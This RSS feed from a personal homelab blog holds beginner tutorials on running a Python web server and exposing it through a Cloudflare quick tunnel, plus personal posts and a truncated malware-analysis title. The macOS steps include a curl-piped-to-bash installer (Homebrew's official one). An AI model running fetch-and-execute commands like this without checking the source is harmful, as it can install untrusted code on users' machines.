<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Lumysia&apos;s Grimoire</title><description>Security, homelab and everyday life</description><link>https://blog.lumysia.net/</link><templateTheme>Firefly</templateTheme><templateThemeVersion>6.16.9</templateThemeVersion><templateThemeUrl>https://github.com/CuteLeaf/Firefly</templateThemeUrl><lastBuildDate>November 15, 2026 at 05:39:41 PM</lastBuildDate><item><title>A Server to Call My Own: Opening the Door to the World</title><link>https://blog.lumysia.net/posts/a-server-to-call-my-own-2/</link><guid isPermaLink="true">https://blog.lumysia.net/posts/a-server-to-call-my-own-2/</guid><description>Five steps to a tiny website with Python, five minutes to put it on the internet with a Cloudflare Tunnel, and why you must never start that server in your home folder.</description><pubDate>Sat, 04 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;&lt;p&gt;The second post, written in 2025. In 2026 I fixed one important thing. The original had you start the server in your home folder, which puts your entire home directory on the internet. Now it only serves one small folder made just for it. Everything else is the same as before.&lt;/p&gt;&lt;/blockquote&gt;
&lt;section&gt;&lt;h2&gt;The Foundation of Your Digital Castle&lt;a href=&quot;#the-foundation-of-your-digital-castle&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;So, we’ve gathered all our shiny hardware parts! Now, where should our little digital home actually live? On a traditional, cozy Windows cottage? A super-geeky and customizable Linux treehouse? Or a fancy, money-consuming macOS villa?&lt;/p&gt;&lt;p&gt;Honestly, any of these are perfectly fine for a beginner, and you can totally use them for your homelab adventure. It’s your world, so you make the rules!&lt;/p&gt;&lt;p&gt;But! The main character I want to introduce you to today is the amazing &lt;a href=&quot;https://pve.proxmox.com/wiki/Main_Page&quot; target=&quot;_blank&quot;&gt;Proxmox Virtual Environment&lt;/a&gt;. Ooooh, that sounds super technical, right? Don’t worry! Think of it like a magical piece of land. On this land, you can build a Windows house, a Linux house, and even a macOS house, and they can all live together as happy little neighbors! It’s the perfect, reliable foundation for all the other fun things we want to build.&lt;/p&gt;&lt;p&gt;You can follow the &lt;a href=&quot;https://pve.proxmox.com/wiki/Installation&quot; target=&quot;_blank&quot;&gt;official guide&lt;/a&gt; to get your own little plot of Proxmox land ready. Or, if you prefer, just stick with your favorite Windows, Linux, or macOS for now. You are the boss of this adventure!&lt;/p&gt;&lt;p&gt;The system is just the ground our digital nest is built on, so we won’t spend too much time here. If you’re not sure how to install an operating system, YouTube has tons of super helpful videos. I really, really recommend checking them out!&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Let’s Open the Doors to Your Digital Home&lt;a href=&quot;#lets-open-the-doors-to-your-digital-home&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Okay, so you have your internet connection, and your ISP has handled all the boring stuff. How about we do something super exciting? Do you wanna host a tiny, simple website and show it to the world in, like, 5 minutes? Let’s gooooo!&lt;/p&gt;&lt;p&gt;First things first… you know what system your computer is running, right? Hehe, just kidding!&lt;/p&gt;&lt;section&gt;&lt;h3&gt;For my Windows 10/11 Pals&lt;a href=&quot;#for-my-windows-1011-pals&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Summoning a Little Magic with Python&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;First, press the &lt;code&gt;Win&lt;/code&gt; key and the &lt;code&gt;R&lt;/code&gt; key together on your keyboard. In the little box that pops up, type &lt;code&gt;powershell&lt;/code&gt; and press &lt;code&gt;Enter&lt;/code&gt;. This opens our magical command window!&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Now, let’s chant our first spell. Copy and paste this into the PowerShell window: &lt;code&gt;winget install Python.Python.3.13&lt;/code&gt; and press &lt;code&gt;Enter&lt;/code&gt;. This tells your computer to install Python for us! (A little note: Python versions move fast and some scripts are picky about them. If you want a different version, just change &lt;code&gt;3.13&lt;/code&gt; to the one you want.)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Super Important!&lt;/strong&gt; Close the PowerShell window, and then open a brand new one. This lets our computer know about the new magic we just installed.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Before we cast the server spell, let’s build a tiny room for it to live in. Copy these lines into PowerShell one by one:&lt;/p&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir &lt;/span&gt;&lt;span&gt;$HOME&lt;/span&gt;&lt;span&gt;&lt;span&gt;\my&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;first&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;site&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd &lt;/span&gt;&lt;span&gt;$HOME&lt;/span&gt;&lt;span&gt;&lt;span&gt;\my&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;first&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;site&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Set-Content&lt;/span&gt;&lt;span&gt; index.html &lt;/span&gt;&lt;span&gt;&apos;&amp;lt;h1&amp;gt;Hello from my little server!&amp;lt;/h1&amp;gt;&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;Why bother? Python’s little server shows &lt;em&gt;everything&lt;/em&gt; in the folder you start it from, and in a minute we’re putting it on the internet. Start it in your home folder and the whole world can browse your documents, your browser data, even your SSH keys. Eek! So our server gets its own little room with just one page in it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Now type &lt;code&gt;python -m http.server --bind 127.0.0.1&lt;/code&gt; and press &lt;code&gt;Enter&lt;/code&gt;. The &lt;code&gt;--bind 127.0.0.1&lt;/code&gt; part means only your own computer can talk to it directly, not everyone else on your Wi-Fi. You should see a message like &lt;code&gt;Serving HTTP on 127.0.0.1 port 8000&lt;/code&gt;. If you see that… Tada!&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Visiting Your Creation&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;See that &lt;code&gt;8000&lt;/code&gt; in the message? That’s the secret door number to your new server! Let’s go visit it. Open any web browser and go to this address: &lt;code&gt;http://127.0.0.1:8000&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;What do you see? Aha! It’s your very first web page, saying hello! That’s the &lt;code&gt;index.html&lt;/code&gt; we just made, and it’s the only thing in that little room.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The Secret Passageway: Cloudflare Tunnel&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Let’s install our secret ingredient! Open a new PowerShell window and type this spell: &lt;code&gt;winget install Cloudflare.cloudflared&lt;/code&gt;, then press &lt;code&gt;Enter&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Once that’s done, it’s time for the final enchantment! Open a new PowerShell window, type: &lt;code&gt;cloudflared tunnel --url http://127.0.0.1:8000&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Give it about 10 seconds to work its magic… have you seen a bunch of text pop up with a special &lt;code&gt;trycloudflare.com&lt;/code&gt; link?&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;2025-10-04T19:05:45Z&lt;/span&gt;&lt;span&gt; INF Requesting new quick Tunnel on &lt;/span&gt;&lt;span&gt;trycloudflare.com&lt;/span&gt;&lt;span&gt;...&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;2025-10-04T19:05:48Z&lt;/span&gt;&lt;span&gt; INF +--------------------------------------------------------------+&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;2025-10-04T19:05:48Z&lt;/span&gt;&lt;span&gt; INF |  Your quick Tunnel has been created! Visit it at:              |&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;2025-10-04T19:05:48Z&lt;/span&gt;&lt;span&gt; INF |  &lt;/span&gt;&lt;span&gt;https://gem-saw-passed-equilibrium.trycloudflare.com&lt;/span&gt;&lt;span&gt;          |&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;2025-10-04T19:05:48Z&lt;/span&gt;&lt;span&gt; INF +--------------------------------------------------------------+&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;2025-10-04T19:05:48Z&lt;/span&gt;&lt;span&gt; INF Initial protocol quic&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;2025-10-04T19:05:48Z&lt;/span&gt;&lt;span&gt; INF Registered tunnel connection connIndex=&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; location=yyz06 protocol=quic&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Say Hello to the World! Go on, copy that link and open it in your browser! What’s on the screen? Yes! It’s your little hello page! You haven’t closed the Python window, right? lol. It’s now visible to anyone in the world who has that secret link. You did it!&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When you’re done showing off, press &lt;code&gt;Ctrl + C&lt;/code&gt; in both windows. That closes the door again: no Python server, no tunnel, nothing left open. Don’t leave it running “just in case”!&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;For my macOS Friends&lt;a href=&quot;#for-my-macos-friends&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;Summon Python
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Open your &lt;code&gt;Terminal&lt;/code&gt;. (Press &lt;code&gt;Cmd + Space&lt;/code&gt;, type &lt;code&gt;Terminal&lt;/code&gt;, and hit &lt;code&gt;Enter&lt;/code&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Just like on Windows, give the server its own little room first, so it never shows the world your home folder:&lt;/p&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/my-first-site&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/my-first-site&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;echo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&apos;&amp;lt;h1&amp;gt;Hello from my little server!&amp;lt;/h1&amp;gt;&apos;&lt;/span&gt;&lt;span&gt; &amp;gt; &lt;/span&gt;&lt;span&gt;index.html&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Chant this spell: &lt;code&gt;python3 -m http.server --bind 127.0.0.1&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Tada! That’s it! Your little server should be running. You can now visit &lt;code&gt;http://127.0.0.1:8000&lt;/code&gt; in your browser to see it.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Getting Your Magic Cauldron: Homebrew
&lt;ol&gt;
&lt;li&gt;Your Mac has a super cool magic cauldron called Homebrew that can get you almost any tool you need! First, let’s open a new &lt;code&gt;Terminal&lt;/code&gt; window (leave the Python one running!). Press &lt;code&gt;Cmd + N&lt;/code&gt; while Terminal is in front.&lt;/li&gt;
&lt;li&gt;Check if you already have Homebrew by typing &lt;code&gt;brew --version&lt;/code&gt;. If you see a version number, you can skip to the next step! If not, just copy this whole spell and paste it into your Terminal to install it: &lt;code&gt;/bin/bash -c &quot;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;It might ask for your password. Don’t worry, it’s safe!&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Opening the Tunnel!
&lt;ol&gt;
&lt;li&gt;Type &lt;code&gt;brew install cloudflared&lt;/code&gt; and press &lt;code&gt;Enter&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;And for the final magic trick, type: &lt;code&gt;cloudflared tunnel --url http://127.0.0.1:8000&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;After a few seconds, you’ll get your very own special &lt;code&gt;trycloudflare.com&lt;/code&gt; link. Share it with a friend and show them your magic!&lt;/li&gt;
&lt;li&gt;All done? Press &lt;code&gt;Ctrl + C&lt;/code&gt; in both windows to close the door again.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;For my Linux Adventurers&lt;a href=&quot;#for-my-linux-adventurers&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;For all the Linux wizards out there, I have a feeling you might already know this little trick! The steps are super similar to the Windows ones, and I totally believe in you! You got this!&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;But… What Was That Magic All About?&lt;a href=&quot;#but-what-was-that-magic-all-about&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;So why did we go through all that trouble? Why did I design this little magic trick for you? Here’s the secret.&lt;/p&gt;&lt;p&gt;Think of your home’s router as a very strict but well-meaning castle guard. Its job is to protect all the devices in your home (your computer, your phone) from scary things on the internet. It gives all your devices a secret, internal IP address that only people inside the castle can see.&lt;/p&gt;&lt;p&gt;The problem is, this guard is SO good at its job that when a friendly visitor from the outside world tries to visit your new Python website using your public IP address, the guard just says “NOPE!” and slams the door. It’s a very common problem for everyone!&lt;/p&gt;&lt;p&gt;So, how did Cloudflare Tunnel work? What was its magic?&lt;/p&gt;&lt;p&gt;Well, the Cloudflare Tunnel is like a secret royal messenger! Instead of trying to break down the castle gate from the outside, the messenger starts from inside your castle (your computer) and creates a secure, secret tunnel that leads out to the world. Anyone with the secret address (that trycloudflare.com link) can give a message to the messenger, who then safely brings it back to your server inside.&lt;/p&gt;&lt;p&gt;The grumpy castle guard never even has to open the main gate! Isn’t that clever? (´-ω-)`&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Magical Conclusion&lt;a href=&quot;#magical-conclusion&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Look at you! You just summoned a little web server from thin air with a Python spell, and then you opened a magical portal for the entire world to see using Cloudflare Tunnel! You should be super proud of yourself!&lt;/p&gt;&lt;p&gt;Now, this “quick tunnel” was a super fun party trick, right? It was like shouting “hello!” to the entire world from our digital doorstep, and it was the perfect way to get our first taste of success! But what if you want to create a private, cozy space just for your devices to talk to each other, without letting the whole world peek in?&lt;/p&gt;&lt;p&gt;So later on I learned a whole new kind of magic called Tailscale. Instead of opening a big door to the public, Tailscale helps us build a secret, magical network just for our own devices. It’s like creating a private little clubhouse where your laptop, phone, and new server can all whisper secrets to each other, no matter where they are in the world! And with its own special spell, &lt;code&gt;tailscale serve&lt;/code&gt;, we’ll see how easy it is to share services inside our exclusive club.&lt;/p&gt;&lt;p&gt;A little spoiler from a year later: these days almost all the services at home sit behind that private network, and only a handful of necessary doors are still open to the public internet. Going from “opening the door to the world” to “leaving the door open only for my own people” made me feel safer than building the server itself ever did.&lt;/p&gt;&lt;p&gt;Thank you for being such a wonderful magic apprentice today! See you next time! (´-ω-)`&lt;/p&gt;&lt;/section&gt;</content:encoded></item><item><title>A Server to Call My Own: The Very Beginning</title><link>https://blog.lumysia.net/posts/a-server-to-call-my-own-1/</link><guid isPermaLink="true">https://blog.lumysia.net/posts/a-server-to-call-my-own-1/</guid><description>Does &quot;Homelab&quot; sound complicated? It&apos;s honestly super simple. The first post in my &quot;A Server to Call My Own&quot; series, about how it all started, my beginner hardware list with prices, and what it turned into a year later.</description><pubDate>Fri, 03 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;&lt;p&gt;The first post, written in 2025. In 2026 I added a section called “A year later”. The prices are what I paid in 2025, so please don’t read them as today’s prices.&lt;/p&gt;&lt;/blockquote&gt;
&lt;section&gt;&lt;h2&gt;Original Story&lt;a href=&quot;#original-story&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;When you hear the word “Homelab”, does it sound a bit intimidating? Like something only super-gurus do in a secret lab? Well, that’s not true at all! Don’t worry, it’s way simpler than you think! Ahhhhh, please DOOOOO NOTTTT close this page, I promise I’m not joking!!!&lt;/p&gt;&lt;p&gt;Even though I’m a software engineering student, I can promise you this isn’t some “professional” job. It’s more like building a digital Lego castle. Honestly, if you can sign up for a GitHub account by yourself, you’ve already got all the magic spells you need for this adventure.&lt;/p&gt;&lt;p&gt;My secret weapon in this adventure is Docker. Don’t think of it as some scary tech thing, it’s more like a super-helpful little partner that keeps everything neat and tidy. I’ll write a whole post dedicated to this cutie later~&lt;/p&gt;&lt;p&gt;Soooo, how did I fall down this wonderful rabbit hole of self-hosting? It all started during my amazing gap year (actually two years lol), which gave me the perfect little corner to dream and tinker.&lt;/p&gt;&lt;p&gt;Back then, I was basically glued to online tech stores, “window shopping” and daydreaming about the parts I’d need for my perfect little server. And of course, I had a little wishlist all ready!&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;I needed a Minecraft server to play with my friends, so it required a CPU with a little bit of punch.&lt;/li&gt;
&lt;li&gt;I wanted to run a bunch of services, like my own Git service, Nextcloud for my files, and Jellyfin to watch TV and movies.&lt;/li&gt;
&lt;li&gt;I needed tons of space for all my media and personal treasures, so I aimed for at least 10TB.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;I’ll admit, my “all-in-one” strategy of stuffing everything into one box isn’t exactly best practice, since it doesn’t separate storage from computing. But! I learned so much and had double the fun, and isn’t that what matters? I just have to pray it doesn’t go “All-in-Boom” one day, haha.&lt;/p&gt;&lt;p&gt;What’s the next step? To share my building blocks and how much they cost, of course!&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;My Building Blocks&lt;a href=&quot;#my-building-blocks&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;Here’s the recipe for my little server and what it cost (in CAD, 2025 prices). Feel free to use it as inspiration for your own!~&lt;/p&gt;&lt;/blockquote&gt;

&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Type&lt;/th&gt;&lt;th&gt;Brand&lt;/th&gt;&lt;th&gt;Note&lt;/th&gt;&lt;th&gt;Price&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;NVME SSD&lt;/td&gt;&lt;td&gt;Lexar&lt;/td&gt;&lt;td&gt;4T*2&lt;/td&gt;&lt;td&gt;~&lt;span&gt;&lt;span&gt;270∗2=270*2 = &lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;270&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;∗&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;540&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;NVME SSD&lt;/td&gt;&lt;td&gt;Fanxiang&lt;/td&gt;&lt;td&gt;2T&lt;/td&gt;&lt;td&gt;~$140&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CPU&lt;/td&gt;&lt;td&gt;Intel&lt;/td&gt;&lt;td&gt;13400&lt;/td&gt;&lt;td&gt;~$158&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Motherboard&lt;/td&gt;&lt;td&gt;Maxsun&lt;/td&gt;&lt;td&gt;Z790&lt;/td&gt;&lt;td&gt;~$260&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Memory&lt;/td&gt;&lt;td&gt;Glowy&lt;/td&gt;&lt;td&gt;16G*2&lt;/td&gt;&lt;td&gt;~$120&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Memory&lt;/td&gt;&lt;td&gt;Kingbank&lt;/td&gt;&lt;td&gt;16G*2&lt;/td&gt;&lt;td&gt;~$140&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Cooler&lt;/td&gt;&lt;td&gt;Thermalright&lt;/td&gt;&lt;td&gt;AXP90X53&lt;/td&gt;&lt;td&gt;~$30&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Power Supply&lt;/td&gt;&lt;td&gt;Seasonic&lt;/td&gt;&lt;td&gt;SUG300&lt;/td&gt;&lt;td&gt;~$100&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Computer Case&lt;/td&gt;&lt;td&gt;N/A&lt;/td&gt;&lt;td&gt;N/A&lt;/td&gt;&lt;td&gt;~$40&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;blockquote&gt;&lt;p&gt;A little sticky note for myself (and for you!): This Fanxiang NVME SSD is a bit… moody. My plan was to swap it out for a more reliable Samsung before 2027. Did I actually do it? That’s a secret for now, I’ll tell you at the very end (´-ω-)`&lt;/p&gt;&lt;/blockquote&gt;&lt;section&gt;&lt;h3&gt;A few friendly tips&lt;a href=&quot;#a-few-friendly-tips&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;Always figure out what you want to do with your server before you buy any shiny new toys.&lt;/li&gt;
&lt;li&gt;Your motherboard and CPU are best friends, they have to get along! It’s usually best to pick your CPU first, then find a motherboard that loves it. (But you can do it the other way around if you find a board you totally fall in love with!)&lt;/li&gt;
&lt;li&gt;DDR5 memory can be a bit of a diva sometimes. My little server had a few tantrums and reset its BIOS because of memory frequency issues. Try to buy RAM that’s been officially tested and approved by your motherboard’s maker.&lt;/li&gt;
&lt;li&gt;Get a good, reliable power supply. This is your server’s heart! Since it runs 24/7, you definitely don’t want to cheap out here.&lt;/li&gt;
&lt;li&gt;You could use HDDs for tons of space, but I’m super sensitive to their “click-clack” singing, so… that’s a choice you’ll have to make.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;What’s next? The hardware is the first level of this game. Once you clear it, the next spell will reveal itself in this powerful magic book~&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;A year later&lt;a href=&quot;#a-year-later&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;It’s been about a year since I wrote this. Looking back at that little prayer about “All-in-Boom”, it’s kind of funny now.&lt;/p&gt;&lt;p&gt;The hardware has barely changed. Same 13400, same case, except I stuffed the memory up to 64G because I kept spinning up more and more VMs. Storage did change, though. I added three more 4TB NVMe drives in a ZFS RAIDZ1 just for data, and the two original 4TB Lexars are now sitting around unused, which is a little awkward.&lt;/p&gt;&lt;p&gt;And the Fanxiang… &lt;strong&gt;I never swapped it for a Samsung.&lt;/strong&gt; It’s turned into a 2TB S790 that’s still faithfully doing its job as my system and work drive. Which means the most important drive in the whole system is still a single drive with no redundancy. It’s probably the thing I most need to fix this year and am also the laziest about fixing. If anything else dies I can rebuild it, but if the system drive dies, I’m starting over from scratch. I’m writing it down here as evidence against myself. I really have to sort it out before 2027.&lt;/p&gt;&lt;p&gt;On the software side, “all-in-one” isn’t really true anymore. This one machine now runs five or six VMs, one each for file services, game servers and the smart home, and I also rent a few cheap VPSes for the jobs that need to be on the public internet. So strictly speaking it’s “one box + a few little boxes” now, not the “one big box” I talked about back then. The thing I worried about, storage and compute not being separated, still isn’t separated. But a year later, I still really like having everything in one machine. One electricity bill, one upgrade, and only one person who has to fix it when something breaks (me).&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;A few last words&lt;a href=&quot;#a-few-last-words&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Got any questions bubbling up? Is anything confusing? Please, please, please ask away in the discussion area below! There are no “silly questions” here, I promise. I’ll reply as soon as I see it.&lt;/p&gt;&lt;p&gt;To everyone who read all the way to the end, I hope you have a wonderful day! Thanks so much for your patience. If you enjoyed my little story, please come say hi in the discussion area on my “About” page ~&lt;/p&gt;&lt;/section&gt;</content:encoded></item><item><title>One Sky Above</title><link>https://blog.lumysia.net/posts/one-sky-above/</link><guid isPermaLink="true">https://blog.lumysia.net/posts/one-sky-above/</guid><description>Livia&apos;s blog about her new chapter in Canada. A software engineering student.</description><pubDate>Mon, 01 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Next Stop, Oshawa&lt;a href=&quot;#next-stop-oshawa&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Hey there, I’m Livia! Welcome to my little corner of the internet. I’ve just landed in Canada, and this is definitely a new chapter of my life, loading in real-time.&lt;/p&gt;&lt;p&gt;Right now, I’m a Software Engineering Master’s student at Ontario Tech University, trying to survive a program that I’m pretty sure is designed to be ridiculously difficult. So, this blog will be my space to share all the little things—random thoughts from my daily life here, stories of me wrestling with code, and everything in between. It’s a casual space for anyone who loves a cozy story.&lt;/p&gt;&lt;p&gt;I’ve decided to write like a small turtle: slowlyyyyy writing, and slowlyyyyy thinking. Updates might be… well, turtle-paced, but I promise each one will be thoughtfully crafted, straight from my heart.&lt;/p&gt;&lt;p&gt;This is actually my third attempt at starting a blog. Third time’s the charm, right? I’m hoping this little turtle can crawl a bit further this time! In the future, you can expect to see posts about coding, my adventures in maintaining a homelab server, and any other interesting stories I stumble upon.&lt;/p&gt;&lt;p&gt;Just so you know, this is a static website hosted on Github and Cloudflare, and I’ll be sharing all the source code right here: &lt;a href=&quot;https://github.com/Lumysia/blog&quot; target=&quot;_blank&quot;&gt;Lumysia/blog - Github&lt;/a&gt;. Please be nice to my little digital home! No funny business, okay? (´• ω •`)♡&lt;/p&gt;&lt;p&gt;Oshawa’s clear sky today reminded me of the same beautiful sky back in Kunming. The view is the same, but the girl looking at it is different. I’ll admit, there’s a part of me still trying to untangle knots from the past… but that’s okay. We all move at our own pace.&lt;/p&gt;&lt;p&gt;So, here it is—my very first post.&lt;/p&gt;&lt;p&gt;Welcome to my new mind home.&lt;/p&gt;&lt;/section&gt;</content:encoded></item><item><title>Taking Apart a Cracked iMazing Package That Defender Flagged, SFX, Batch Files and AutoIt 